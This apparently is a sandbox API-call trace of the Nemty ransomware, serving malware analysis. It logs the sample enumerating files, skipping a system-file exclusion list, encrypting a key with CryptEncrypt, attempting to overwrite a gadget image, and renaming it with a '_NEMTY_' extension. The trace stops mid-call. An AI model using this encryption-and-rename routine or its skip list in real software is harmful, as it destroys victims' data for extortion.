[0134.850] FindNextFileW (in: hFindFile=0x3423a30, lpFindFileData=0x653f008 | out: lpFindFileData=0x653f008*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x388629f5, ftCreationTime.dwHighDateTime=0x1c9ea0e, ftLastAccessTime.dwLowDateTime=0x388629f5, ftLastAccessTime.dwHighDateTime=0x1c9ea0e, ftLastWriteTime.dwLowDateTime=0x38888b53, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x255b, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="icon.png", cAlternateFileName="")) returned 1 [0134.850] lstrcmpiW (lpString1="icon.png", lpString2=".") returned 1 [0134.850] lstrcmpiW (lpString1="icon.png", lpString2="..") returned 1 [0134.851] lstrcmpiW (lpString1="icon.png", lpString2="...") returned 1 [0134.851] lstrcmpiW (lpString1="icon.png", lpString2="windows") returned -1 [0134.851] lstrcmpiW (lpString1="icon.png", lpString2="$RECYCLE.BIN") returned 1 [0134.851] lstrcmpiW (lpString1="icon.png", lpString2="rsa") returned -1 [0134.851] lstrcmpiW (lpString1="icon.png", lpString2="NTDETECT.COM") returned -1 [0134.851] lstrcmpiW (lpString1="icon.png", lpString2="ntldr") returned -1 [0134.851] lstrcmpiW (lpString1="icon.png", lpString2="MSDOS.SYS") returned -1 [0134.851] lstrcmpiW (lpString1="icon.png", lpString2="IO.SYS") returned -1 [0134.851] lstrcmpiW (lpString1="icon.png", lpString2="boot.ini") returned 1 [0134.851] lstrcmpiW (lpString1="icon.png", lpString2="boot.ini") returned 1 [0134.851] lstrcmpiW (lpString1="icon.png", lpString2="AUTOEXEC.BAT") returned 1 [0134.851] lstrcmpiW (lpString1="icon.png", lpString2="ntuser.dat") returned -1 [0134.851] lstrcmpiW (lpString1="icon.png", lpString2="desktop.ini") returned 1 [0134.851] lstrcmpiW (lpString1="icon.png", lpString2="CONFIG.SYS") returned 1 [0134.851] lstrcmpiW (lpString1="icon.png", lpString2="RECYCLER") returned -1 [0134.851] lstrcmpiW (lpString1="icon.png", lpString2="BOOTSECT.BAK") returned 1 [0134.851] lstrcmpiW (lpString1="icon.png", lpString2="bootmgr") returned 1 [0134.851] lstrcmpiW (lpString1="icon.png", lpString2="programdata") returned -1 [0134.851] lstrcmpiW (lpString1="icon.png", lpString2="appdata") returned 1 [0134.851] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0134.851] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="icon.png", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0134.851] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="icon.png", cchWideChar=8, lpMultiByteStr=0x653ef10, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="icon.png", lpUsedDefaultChar=0x0) returned 8 [0134.851] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0134.851] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="icon.png", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0134.851] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="icon.png", cchWideChar=8, lpMultiByteStr=0x653ef10, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="icon.png", lpUsedDefaultChar=0x0) returned 8 [0134.851] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0134.851] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0134.851] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0134.851] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="icon.png", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0134.851] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="icon.png", cchWideChar=8, lpMultiByteStr=0x653ef60, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="icon.png", lpUsedDefaultChar=0x0) returned 8 [0134.851] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0134.851] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0134.851] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="icon.png", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0134.851] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="icon.png", cchWideChar=8, lpMultiByteStr=0x653ef98, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="icon.png", lpUsedDefaultChar=0x0) returned 8 [0134.851] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0134.851] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0134.851] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0134.852] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0134.852] Sleep (dwMilliseconds=0x5) [0134.861] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653ee24 | out: lpSystemTimeAsFileTime=0x653ee24*(dwLowDateTime=0x4079390, dwHighDateTime=0x1d561e8)) [0134.861] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653ee24 | out: lpSystemTimeAsFileTime=0x653ee24*(dwLowDateTime=0x4079390, dwHighDateTime=0x1d561e8)) [0134.861] GetLastError () returned 0x12 [0134.861] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0134.861] GetLastError () returned 0x12 [0134.861] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0134.861] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0134.861] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0134.861] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653ec60*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653ec60*=0x100) returned 1 [0134.862] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653ec64*, pdwDataLen=0x653ec50*=0x10, dwBufLen=0x100 | out: pbData=0x653ec64*, pdwDataLen=0x653ec50*=0x100) returned 1 [0134.862] CryptBinaryToStringA (in: pbBinary=0x653ec64, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653ec5c | out: pszString=0x0, pcchString=0x653ec5c) returned 1 [0134.862] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0134.862] CryptBinaryToStringA (in: pbBinary=0x653ec64, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653ec5c | out: pszString="u0L0EbZy7Jm8KM6YvAhzeZd1Emwzp5Fd6iBi/0V67rPDkFZjaEPxP+ToNM2fHS11\r\n3wO6QPkugHU/p/uZ2WEnxpNTfMr983/ciRgaTtpaaPpmU1k7bC22GW56gcxc1Aec\r\nNDXNNVP2srNeSGHj10b8rQ9uvPywDhiQ8SxR44vLxRjVZAI5kwgueABbGi9UIwFL\r\naTJzXIFrW/JAmF6kDyMrrkJHPG2RjxJPaLZyu0S0Ja39AsDJOEIAwkn/LhvaKQCP\r\nqtw6B2VRiJBfsIAziZLRUCzeu7C7kGK+l08AlXD2U1t1lLOV/XIag58+mEgj6ZZ2\r\nmVp7xfWP0hBurVoht/+g1Q==\r\n", pcchString=0x653ec5c) returned 1 [0134.862] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0134.862] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0134.862] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0134.862] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0134.862] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0134.862] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0134.862] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\icon.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\icon.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0134.862] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eeb0 | out: lpFileSize=0x653eeb0*=18150282790956772) returned 0 [0134.862] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0134.862] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0134.862] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0134.871] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0134.872] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0134.872] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0134.872] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0134.881] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0134.881] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0134.881] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0134.881] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0134.890] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0134.890] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0134.891] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0134.891] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0134.900] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0134.900] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0134.900] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0134.900] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0134.909] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0134.909] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0134.909] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0134.909] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0134.919] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0134.919] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0134.919] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0134.919] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0134.928] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0134.928] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0134.928] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0134.928] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0134.938] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0134.938] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0134.938] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0134.938] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0134.947] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0134.947] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0134.947] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0134.947] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0134.957] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0134.957] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0134.957] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0134.957] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0134.964] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0134.964] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0134.964] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106061540, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0134.964] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0134.970] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106061540, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0134.970] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0134.970] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163940, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0134.970] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340048, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0134.970] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0134.970] CloseHandle (hObject=0xffffffff) returned 0 [0134.970] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0134.970] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0134.970] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0134.970] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0134.970] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0134.970] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0134.970] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0134.970] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0134.970] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0134.970] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0134.970] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\icon.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\icon.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\icon.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\icon.png._nemty_kgobjgd_")) returned 0 [0134.970] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0134.970] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0134.970] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0134.970] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0134.970] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0134.971] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0134.971] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0134.971] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0134.971] FindNextFileW (in: hFindFile=0x3423a30, lpFindFileData=0x653f008 | out: lpFindFileData=0x653f008*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x806605fc, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x806605fc, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="Images", cAlternateFileName="")) returned 1 [0134.971] lstrcmpiW (lpString1="Images", lpString2=".") returned 1 [0134.971] lstrcmpiW (lpString1="Images", lpString2="..") returned 1 [0134.971] lstrcmpiW (lpString1="Images", lpString2="...") returned 1 [0134.971] lstrcmpiW (lpString1="Images", lpString2="windows") returned -1 [0134.971] lstrcmpiW (lpString1="Images", lpString2="$RECYCLE.BIN") returned 1 [0134.971] lstrcmpiW (lpString1="Images", lpString2="rsa") returned -1 [0134.971] lstrcmpiW (lpString1="Images", lpString2="NTDETECT.COM") returned -1 [0134.971] lstrcmpiW (lpString1="Images", lpString2="ntldr") returned -1 [0134.971] lstrcmpiW (lpString1="Images", lpString2="MSDOS.SYS") returned -1 [0134.971] lstrcmpiW (lpString1="Images", lpString2="IO.SYS") returned -1 [0134.971] lstrcmpiW (lpString1="Images", lpString2="boot.ini") returned 1 [0134.971] lstrcmpiW (lpString1="Images", lpString2="boot.ini") returned 1 [0134.971] lstrcmpiW (lpString1="Images", lpString2="AUTOEXEC.BAT") returned 1 [0134.971] lstrcmpiW (lpString1="Images", lpString2="ntuser.dat") returned -1 [0134.971] lstrcmpiW (lpString1="Images", lpString2="desktop.ini") returned 1 [0134.971] lstrcmpiW (lpString1="Images", lpString2="CONFIG.SYS") returned 1 [0134.971] lstrcmpiW (lpString1="Images", lpString2="RECYCLER") returned -1 [0134.971] lstrcmpiW (lpString1="Images", lpString2="BOOTSECT.BAK") returned 1 [0134.971] lstrcmpiW (lpString1="Images", lpString2="bootmgr") returned 1 [0134.971] lstrcmpiW (lpString1="Images", lpString2="programdata") returned -1 [0134.971] lstrcmpiW (lpString1="Images", lpString2="appdata") returned 1 [0134.971] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Images", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0134.971] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Images", cchWideChar=6, lpMultiByteStr=0x653ef10, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Images", lpUsedDefaultChar=0x0) returned 6 [0134.971] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Images", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0134.971] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Images", cchWideChar=6, lpMultiByteStr=0x653ef10, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Images", lpUsedDefaultChar=0x0) returned 6 [0134.971] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0134.971] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0134.971] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0134.971] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0134.971] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0134.971] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, 